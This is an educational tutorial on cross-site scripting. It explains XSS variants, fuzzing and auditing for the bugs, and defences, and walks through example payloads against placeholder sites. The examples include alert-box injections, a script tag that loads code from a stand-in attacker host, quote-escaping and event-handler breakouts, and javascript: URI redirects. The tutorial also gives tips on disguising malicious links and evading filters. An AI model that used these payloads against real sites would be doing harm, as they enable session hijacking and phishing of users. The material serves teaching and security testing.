Dear reader,

I hope that you will enjoy this paper I have written, aimed at mostly beginners within Web Application Security, but also those that needs a quick reference or a good guide to what XSS is in its simplest form. You may copy, distribute, share, adapt, change and edit as you like. You may however NOT sell this paper but including any contents in course ware, live and online training is allowed.

Best regards,
MaXe

___-:: Disclaimer ::-____________

By reading this disclaimer you acknowledge that the contents below are for educational purposes only. This tutorial does NOT contain actual attack code so you'll have to make that up yourself. Furthermore, there is a lot more to Cross Site Scripting than just this article and there are many useful resources on the Internet including some of those in the references in the bottom of this article.

___ -:: Introduction ::- ____________

What is XSS and what does it refer to?
XSS aka Cross Site Scripting is a client-side attack where an attacker can craft a malicious link, containing script- code which is then executed within the victim's browser when the target site vulnerable to and injected with XSS is viewed. The script-code can be any language supported by the browser but mostly HTML and Javascript is used along with embedded Flash, Java or ActiveX.

In some cases where the XSS vulnerability is persistent as described further below, the attacker will not have to craft a link as the injected script is inserted directly into the target site and / or web application. The target user(s) still has to view the affected site / page where the injected code is located though.

What can Cross Site Scripting be used for?
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser attacks, phishing, propaganda and even worms! However it still requires the victim to click a malicious link created by the attacker or browse a page with injected code. Additionally, it is also possible to execute PHP code in some cases depending on the Web Application but also how the XSS payload (script) is written. This requires a good understanding of JavaScript but also the target Web Application as well.

How could an attacker get a victim to click a XSS-link?
The easiest way to get people to click malicious links is to make them look authentic and non-malicious. Giving them a reason afterward is the social-engineering part which should be easy except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.

How does an attacker avoid XSS-links looking suspicious?

This is typically done with encoding, short url services, redirects and even flash! Furthermore, in case some HTML tags are allowed on a target site, actual URLs can be hidden somewhat from the user, i.e. on many forums it is possible to craft a link this way:
[URL=http://vulnerablesite.tld/index.php?call=<script>alert('XSS');</script>]Free T-shirts![/URL]
(See The /* XSSOR */ link in the bottom for the most common ways to encode JavaScript.)

What types of Cross Site Scripting are there?

The most common types are GET- and POST-based XSS. However Cross Site Scripting can also be triggered via cookies. (XSS can exist in User-Agents too but this is not easy to trigger.) Additionally there is persistent and non-persistent XSS, where the non-persistent has to be triggered via a URL or via another site redirecting the XSS-request to the target vulnerable site for the user (e.g. via short url services).

The persistent XSS can be triggered just by browsing a Web Application with code injected into it. (This depends on which page has code injected, in case the target is not globally affected on all pages loaded by the user.)

What is the difference between GET- and POST-XSS?

The difference is that when GET-requests are used it is possible to conduct the usual XSS attacks where an attacker sends a maliciously crafted URL to the victim which is then executed when the victim opens the link in the browser.

With POST-requests, an attacker could e.g. use flash to send the victim to the POST-XSS vulnerable site since it is not possible to create a URL where POST-requests are in use. However, JavaScript can also be used to create a POST-based XSS request. (This requires the user to view this JavaScript some way, which then sends the POST-based XSS request.)

Are there sub-categories of Cross Site Scripting?

At the moment there's XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same category, however the attack method differs too much from traditional Cross Site Scripting. XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page unwillingly. The page can for example contain a phishing template, browser attack code or in some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a mix of Cross Site Scripting and SQL Injection, where an unknowing victim visits a malicious link containing SQL Injection instructions for an area on the website which requires privileges that guests or members doesn't have. XSRF or CSRF (sometimes referred to as C-Surf) stands for Cross Site Request Forgery which is used to send automated input via the user to the target site. XSRF can in some cases be triggered just by viewing a specially crafted image tag. With Cross Site Request Forgery it may be possible to e.g. alter the password of the victim if the target site is not secured properly with Anti-CSRF tokens etc. (This prevents these automated requests.)

What is XST and can it be used for anything?

XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug) protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send the same answer back. If an attacker sends the following:

Code:

```
TRACE / HTTP/1.0
Host: target.tld
Custom-header: <script>alert(0)</script>
```

The attacker will receive the same "Custom-header: <scr..." back allowing script execution. However after recent browser updates the following year(s) XST has been increasingly harder to control and execute properly.

How is it possible to find XSS bugs within websites?
There are 2 methods: code / script auditing or fuzzing which is described further below.

What kind of tools is required to find XSS bugs? (REQ = Required, OPT = Optional)
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing. (It is possible to do with netcat, but not advisable.)
- REQ: A text-viewer (such as notepad, scite, nano etc.) in case you're auditing.
- OPT: An intercepting proxy in case you're doing more advanced XSS. (In FireFox it is possible to use Tamper Data however Burp Suite is generally better in the long run.)
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, LiveHTTP Headers, Add 'N' Edit Cookies, RefControl, Tamper Data and more.

What else is useful to know if One wants to find XSS bugs?
- Browser limitations regarding Cross Site Scripting [1]
- HTTP Headers and how the HTTP protocol works.
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, diff, grep, etc.)
- Useful browser-addons (see FireCat [3])
- Website scanners (Nikto, W3AF, Grendel, Dirbuster, etc.)

Where is XSS-bugs typically located?
It is usually located in user submitted input either via GET- or POST-requests, where it is reflected on the target site as text outside tags, inside tag values or within javascript. It can also in some cases be submitted via cookies, http headers or in rare cases file uploads. (I.e. filenames has been possible)

How does One protect a site against XSS?
The best way is to ensure that all user input and output is validated and sanitized properly. However in some cases an IPS or WAF can also protect against XSS though the best way is still to validate (and sanitize) the user-input and -output properly. Relying on magic_quotes and other php.ini setting is generally a bad idea and not considered "best practice" options.

___ -:: Finding the Bug - With Fuzzing ::- ____________

[EASY] Example Case - A:
We're at http://buggysite.tld where we see a "Search-field" in the top-right. Since we don't know the real source code but only the HTML-output of the site we will have to fuzz anything where it is possible to submit data.

In some cases the data will be reflected on the site and in some cases it wont. If it doesn't we move on to the next cookie, header, GET / POST request or whatever it is that we are fuzzing.

The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont trigger anything that might alter the output of the site or render error pages that aren't vulnerable.

An example of an effective string could be: "keyword'/\><

" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want to be really thorough then we could also add)(][}{% to the string that we are using to fuzz the target site.

The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site might have tried to implement against XSS instead of using a secure coding scheme / plan / development cycle. The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS-filters!

With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:

Lets take a look at the returned HTML-code:

HTML Code:

```
   ...
   <input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;" /> <br /> You searched
for \"haxxor\'/\\>< which returned no results.
   ...
```

As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it properly as it only added slashes which is completely useless against Cross Site Scripting in this case.

By submitting the following string we can XSS their website: <script>alert(0)</script> or perhaps <script src=http://h4x0r.tld/xss.js></script>

Of course we don't know if the following characters : ( ) and . are filtered but in most cases they're not.

Our final XSS-url could be: http://buggysite.tld/search.php?query=<script>alert(0)</script> if GET-requests are used.

[EASY] Example Case - B:

We're at http://yetanothersite.tld where we see another search formular.

The following is returned after our string is submitted to the search field:

HTML Code:

```
   ...
   <input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for
&quot;haxxor'/\&gt;&lt; which returned no results.
   ...
```

In this case the string after the tag, encoded the string properly. However the string inside the tag only had slashes added which does nothing in this case. Basically we can bypass this easily with:
"><script>alert(0)</script>

If we're going to load external javascript we will have to avoid using " and ' of course.

Our final XSS-url could be: http://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-requests are used.

[MODERATE] Example Case - C:
We're at http://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string.

The following HTML-code is returned after our string is submitted:

HTML Code:

```
   ...
   <input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;"> You searched for
"&quot;haxxor'/\&gt;&lt;" which returned no results.
   ... (further down)
   <script>
   ...
   s.prop1="prettysecure";
   s.prop2="\"haxxor%39/\%3E%3C";
   s.prop3="adspace";
   ...
   </script>
```

For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the XSS bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something better. The reason why a keyword is used is because it is searchable almost always. You can call it a XSS-locator. [1]

Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not filtered, escaped or encoded correctly. So if we write: \" it will become \\", which will escape the first \ but not our quote. As you can see, we can't use tags either so we'll have to use javascript and no hard brackets (unless we use javascript, to create these for us which is possible in numerous amounts of ways).

We have of course checked that soft brackets ( ) are NOT filtered. (in some cases they can be).

By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\"
This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\" variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead of s.prop500=\" we just use // in the end of the string.

(Whenever XSS is located within JavaScript, try to finish the script so the rest will execute properly. Think and perform this way since it will help to understand how the page functions as well without breaking it.)

In this case it is also possible to execute external javascript if One uses a bit more advanced javascript. In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter. [The XSSOR]

Our final XSS-url could be: http://prettysecure.tld/search.php?query=\"; alert(0); s.prop500=\"

___ -:: Finding the Bug - With Auditing ::- ____________

[EASY] Example Case - A:

The following file (index.php) has some interesting code:

PHP Code:

```
...
if($_GET['view_profile']==1) {
echo $_GET['name'];
... (more code)
}
...
```

By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable. An example attack URL could look like: http://testz.tld/index.php?view_profile=1&name=<script>alert(0)</script>

[HARD] Example Case - B:

The following file (search.php) has some interesting code:

PHP Code:

```
...
if($_GET['set_flag']==1) {
$var = "checked";
}
echo "<input type='radio' value='flag' checked='". htmlentities($var) ."' />";
...
```

This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default). Register_Globals basically allows the user to set variables on the fly via the browser, even if they are not meant to be set.

This only applies to variables that are NOT set as in the example above. Another problem we have encountered is htmlentities however due to a coding error we can still abuse the tag without creating a new. We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that the victim triggers the eventhandler no matter what.

There's multiple ways of doing that, one of them is:

HTML Code:

```
   style='display:block;width:99999px;height:99999px;'
```

An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.

You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' />

Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES were not set in the htmlentities function. This means that we can break out of checked='' easily.

An example attack URL could be: http://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)

There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.

___ -:: Additional Information ::- ____________

XSSR

When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-requests or B) User submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that a site that only accepts HTTP or HTTPS links via GET-requests also falls under the XSSR category.

An example of XSSR could be: http://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script>
And if the Javascript URI scheme is used: http://somesite.tld/redirect.php?link=javascript:alert(0);

This has in some cases been known to leak cookies and is therefore used in session-hijacking. Additionally being able to use the javascript URI scheme in image tags on forums can be abused as well though not all browsers accepts this, but generally Internet Explorer does. (i.e. <img src="javascript:alert('Exploit-DB Rocks!');" />

XSSQLI

When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes plausible.

An example of XSSQLI could be tricking the administrator of "shouldbesecure.tld" to click either the SQL Injection link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site where this could be the vulnerable part: http://shouldbesecure.tld/admin.php?del=1 AND 1=1/*

XSRF

Also known as CSRF and C-Surf, can be used against sites that doesn't use tokens which are usually hidden inside tags. A common way to use tokens against C-Surf attacks is to hide them inside tags like:

HTML Code:

```
  <input type="hidden" name="anti-csrf" value="random token value" />
```

If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack. Furthermore, if XSS is present at the target site it may also be possible to use Cross Site Scripting to read these Anti-CSRF values and thereby use them into performing automated request and bypass this protection.

::

References:

[1] http://ha.ckers.org/xss.html
[2] http://en.wikipedia.org/wiki/Cross-site_scripting
[3] http://firecat.intern0t.net/

Useful Tools and Other Sites:

[XSS Encoder] http://intern0t.net/xssor/
[Online Self-Test Page] http://intern0t.net/xsstutorial/
[XSS PoC Creator] http://intern0t.net/utube/
[Exploit-DB Blog] http://www.exploit-db.com/category/maxe/
[Videos / Demo's] http://www.youtube.com/user/maxel3g3nd
[HTTP Options] http://attacks.intern0t.net/htopt/
[XSS Trace] http://attacks.intern0t.net/xstrace/